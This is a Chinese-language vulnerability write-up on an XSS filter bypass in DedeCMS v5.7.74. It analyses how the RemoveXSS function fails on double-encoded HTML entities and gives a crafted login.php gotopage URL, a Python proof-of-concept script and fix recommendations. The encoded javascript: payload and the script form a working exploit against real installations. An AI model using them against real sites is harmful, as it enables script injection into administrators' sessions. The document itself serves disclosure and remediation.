复现版本
dedeCMS sp2 20180109 官方版本v5.7.74
漏洞描述
RemoveXSS函数存在缺陷,无法有效过滤XSS攻击。
漏洞分析
在/include/helpers/filter.helper.php文件中,第65至107行为removexss函数,目的是过滤传入的XSS攻击。在第87至94行
将html中的十进制和十六进制 HTML 实体编码进行转换,以便替换为可读的原始字符。这样做的目的是为了识别并消除可能被恶意利用的JavaScript事件处理程序和属性中的特殊字符。在第98行
如果找到了匹配项,则使用<x>替换匹配到的JavaScript事件处理程序名称和属性名称。如果一次编码则会被检测为XSS攻击并被过滤。但如果进行二次编码,后台接收到的代码为”javascript:alert(1)”,并不在黑名单中,会绕过过滤。在网页中标签的属性里会重新还原成字母”t”,最终在HTML输出中呈现为”javascript:alert(1)”。
漏洞利用
在后台登陆的管理页面修改url:http://(地址)/dede/login.php?gotopage=%2Fdede%2F为http://(地址)/dede/login.php?gotopage=javascrip%26%2338%3B%26%2335%3B%26%2349%3B%26%2349%3B%26%2354%3B%26%2359%3B:alert(1);
可以看到js代码已经被插入代码当中,作为跳转的页面
点击登录后弹窗,如果浏览器开启了阻止弹出式窗口则不会弹窗
修复建议
- 移除控制字符并加强对输入内容的过滤。
- 更新XSS防护规则,确保能有效识别和移除特定的JavaScript事件处理程序和标签名称。
- 对事件处理程序和标签名称进行严格检查,并拦截可能含有恶意代码的部分。
- 考虑使用现代的XSS过滤器或安全库来替代自行构建的XSS防护机制。
POC脚本
import requests
headers={
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8',
'Accept-Language': 'en-us,en;q=0.5',
'Connection': 'keep-alive',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
#更换地址
url='http://(地址)/dede/login.php?gotopage=javascrip%26%2338%3B%26%2335%3B%26%2349%3B%26%2349%3B%26%2354%3B%26%2359%3B:alert(1);'
content=requests.get(url=url,headers=headers).text
if('value="javascript' in content):
print('+++++OK+++++')
else:
print('-----Fail-----')